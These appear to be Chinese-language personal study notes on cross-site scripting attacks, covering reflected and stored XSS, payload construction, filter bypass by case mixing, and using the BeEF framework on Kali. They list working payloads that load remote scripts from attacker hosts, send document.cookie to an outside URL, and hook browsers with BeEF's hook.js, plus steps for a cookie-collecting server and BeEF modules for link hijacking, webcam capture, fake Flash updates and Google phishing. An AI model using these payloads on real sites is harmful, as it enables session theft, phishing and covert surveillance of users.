跨站脚本攻击
Xss是对客户端造成危害
最常见的XSS类型:
反射型和存储型
反射型不会存储,只能引导用户去点击
存储型会保存到服务器中
原理:
反射型:
向服务器中提交js恶意代码
诱导其他用户去访问js恶意代码
<script src='其他主机的某个脚本文件/xx.js'></script>
获得cookie
<script>alert('aaa')</script>
存储型:
向服务器提交恶意js代码
服务器就会存储js恶意代码
获取cookie
<script src='其他主机的某个脚本文件/xx.js'></script>
--------------------------------------------------------------------------
攻击过程
首先要构造XSS脚本
常用的HTML
<iframe> 在页面中嵌入一个页面
<textarea> 定义多行的文本输入空间
<img> 插入图片
<script> js脚本
JS脚本
alert 弹出对话框
window.location 重定向
location.href 返回当前的url
onload 一张页面或一幅图像完成加载
onsubmit 确认按钮被点击
onerror 加载文件时发生错误
开始构造XSS脚本
弹窗(用来XSS测试/需要过滤<> /)
<script>alert('a')</script>
<script>alert(document.cookie)</script>
页面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
页面重定向
<script>window.location="http://www.baidu.com"</script>
<script>location.href="http://www.baidu.com"</script>
弹框并重定向
主要是一些社会工程学的思路
<script>alert("网站更新至新站点");location.href="http://www.baidu.com"</script>
也可以访问一些文件
<script>alert('aa');location.href="http://ip/路径/1.txt"</script>
访问恶意代码
src不会显示跳转,但是已经跳转完成
<script src="http://ip/xxx.js"></script>
使用BeEF收集用户的cookie
<script src="http://BeEF_IP:3000/hook.js"></script>
使用图片标签
<img src="目标地址"></img>
<img src="javascript:alert('css');">
<img src="#" onerror=alert('xss')>
绕开过滤脚本
使用大小写混合
<ScrIpt>alert('xss')</ScRIpt>
采用字符编码或者URL/Bases64编码等
以下是做一个aaa的超链接标签,目标是href
<a href="jjjj">aaa</a>
收集cookie
打开新窗口采用本地cookie访问目标网页
<script>window.open("网址?cookie="+document.cookie)</script>
---------------------------------------------------------------------------
反射型Xss
*
-------------------------------------------------------------------------------
存储型Xss
留言板,评论框
获取cookie
构建收集cookie的服务器
构造xss代码并植入到web服务器
等待肉鸡触发XSS代码并将cookie发送的kali
cookie利用
手工搭建
kali
启动apache服务器
systemctl restart apache2
放置一个php的脚本(收集cookie)并给目录复制权限
chown -R www-data.www-data /var/www/
自动化XSS(BeEF)
查看端口
ss -tnlp
kali
1.开启apache
service apache start
2.启动BeEF
默认用户名密码都是beef
登陆http://127.0.0.1:3000/ui/authentication查看中招的机器
3.xss
<script src="http://BeEF主机的IP:3000/hook.js"></script>
4.查看上钩主机的漏洞
登陆到查看在线主机的页面
默认用户名密码都是beef
登陆http://127.0.0.1:3000/ui/authentication
查看Commands可以发现主机可能存在的漏洞
绿色:可能存在
选中可能存在的漏洞->右下角有执行按钮
攻击漏洞:
1.Replace HREFs
在Hooked中->Replace HREFs替换目标机器所有的链接
无论点击那个链接都会跳转到我们设置的网页
2.Replace HREFs(click events)
显示网页跳转链接的原有链接但是会跳转到我们设置的连接中
也就是隐藏我们设置的链接
看起来没事,其实会跳转我们设置的网页
3.Replace HREFs(HTTPS)
4.Redirect Browser(iframe)
不会掉线,使用一个网页覆盖住原先的网页
类似于将新的网页嵌入到原先的网页去
不管怎么操作依然会在线
5.Play Sound
播放声音
6.Webcam
拍摄照片
7.Social Engineering社会工程学
Fake Flash Update
假装flash在线安装
8.Google Phishing
谷歌钓鱼